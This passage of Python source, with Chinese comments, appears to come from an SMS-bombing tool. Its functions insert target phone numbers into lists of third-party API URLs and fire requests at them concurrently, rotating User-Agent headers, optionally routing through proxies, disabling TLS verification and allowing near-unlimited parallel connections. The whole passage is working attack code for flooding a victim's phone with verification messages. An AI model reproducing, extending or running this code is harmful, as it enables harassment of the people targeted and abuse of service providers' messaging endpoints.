60 | print("GETAPI接口-{}".format(resp.text[:30]))
61 | return True
62 | except HTTPError as e:
63 | print("请求失败{}".format(e))
64 | return False
65 |
66 |
67 | def req_func(api: Union[API, str], phone: Union[tuple, str]) -> bool:
68 | """
69 | 请求接口方法
70 | :param api:
71 | :param phone:
72 | :return:
73 | """
74 | # 多手机号支持
75 | if isinstance(phone, tuple):
76 | phone_lst = [_ for _ in phone]
77 | else:
78 | phone_lst = [phone]
79 | with Client(headers={'User-Agent': choice(headers)}, verify=False) as client:
80 | for ph in phone_lst:
81 | try:
82 | if isinstance(api, API):
83 | api = api.handle_api(ph)
84 | resp = req_api(api, client)
85 | print("{}-{}".format(api.desc, resp.text[:30]))
86 | else:
87 | api = api.replace("[phone]", ph).replace(" ", "").replace('\n', '').replace('\r', '')
88 | resp = client.get(url=api, headers={'User-Agent': choice(headers)})
89 | print("GETAPI接口-{}".format(resp.text[:30]))
90 | return True
91 | except HTTPError as e:
92 | print("请求失败{}".format(e))
93 | return False
94 |
95 |
96 | async def run_async_by_proxy(apis: List[Union[API, str]], phone: Union[tuple, str], proxy: dict):
97 | """
98 | 带有代理的异步请求
99 | :param apis:
100 | :param phone:
101 | :param proxy:
102 | :return:
103 | """
104 | async def async_reqs(src: Union[API, str]):
105 | """
106 | 异步请求方法
107 | :param src:
108 | :return:
109 | """
110 | # 多手机号支持
111 | if isinstance(phone, tuple):
112 | phone_lst = [_ for _ in phone]
113 | else:
114 | phone_lst = [phone]
115 | async with semaphore:
116 | async with AsyncClient(
117 | limits=Limits(max_connections=1000,
118 | max_keepalive_connections=2000),
119 | headers={'User-Agent': choice(headers)},
120 | proxies=proxy,
121 | verify=False,
122 | timeout=99999
123 | ) as c:
124 |
125 | for ph in phone_lst:
126 | try:
127 | if isinstance(src, API):
128 | src = src.handle_api(ph)
129 | r = await req_api(src, c)
130 | else:
131 | # 利用元组传参安全因为元组不可修改
132 | s = (src.replace(" ", "").replace("\n", "").replace("\t", "").replace(
133 | "&", "").replace('\n', '').replace('\r', ''),)
134 | r = await c.get(*s)
135 | return r
136 | except HTTPError as e:
137 | print("异步请求失败{}".format(type(e)))
138 | except TypeError:
139 | print("类型错误")
140 | except Exception as e:
141 | print("异步失败{}".format(e))
142 |
143 | def callback(result):
144 | """异步回调函数"""
145 | log = result.result()
146 | if log is not None:
147 | print("请求结果:{}".format(log.text[:30]))
148 |
149 | tasks = []
150 |
151 | for api in apis:
152 | semaphore = Semaphore(999999)
153 | task = ensure_future(async_reqs(api))
154 | task.add_done_callback(callback)
155 | tasks.append(task)
156 |
157 | await gather(
158 | *tasks
159 | )
160 |
161 |
162 | async def run_async(apis: List[Union[API, str]], phone: Union[tuple, str]):
163 | """
164 | 异步请求
165 | :param apis:
166 | :param phone:
167 | :return:
168 | """
169 | async def async_reqs(src: Union[API, str]):
170 | """
171 | 异步请求方法
172 | :param src:
173 | :return:
174 | """
175 | # 多手机号支持
176 | if isinstance(phone, tuple):
177 | phone_lst = [_ for _ in phone]
178 | else:
179 | phone_lst = [phone]
180 | async with semaphore:
181 | async with AsyncClient(
182 | limits=Limits(max_connections=1000,
183 | max_keepalive_connections=2000),
184 | headers={'User-Agent': choice(headers)},
185 | verify=False,
186 | timeout=99999
187 | ) as c:
188 |
189 | for ph in phone_lst:
190 | try:
191 | if isinstance(src, API):
192 | src = src.handle_api(ph)
193 | r = await req_api(src, c)
194 | else:
195 | # 利用元组传参安全因为元组不可修改
196 | s = (src.replace(" ", "").replace("\n", "").replace("\t", "").replace(
197 | "&", "").replace('\n', '').replace('\r', ''),)
198 | r = await c.get(*s)
199 | return r
200 | except HTTPError as e:
201 | print("异步请求失败{}".format(type(e)))
202 | except TypeError:
203 | print("类型错误")
204 | except Exception as e:
205 | print("异步失败{}".format(e))
206 |
207 | def callback(result):
208 | """异步回调函数"""
209 | log = result.result()
210 | if log is not None:
211 | print("请求结果:{}".format(log.text[:30]))
212 |
213 | tasks = []
214 |
215 | for api in apis:
216 | semaphore = Semaphore(999999)
217 | task = ensure_future(async_reqs(api))
218 | task.add_done_callback(callback)
219 | tasks.append(task)
220 |
221 | await gather(
222 | *tasks
223 | )
224 |
--------------------------------------------------------------------------------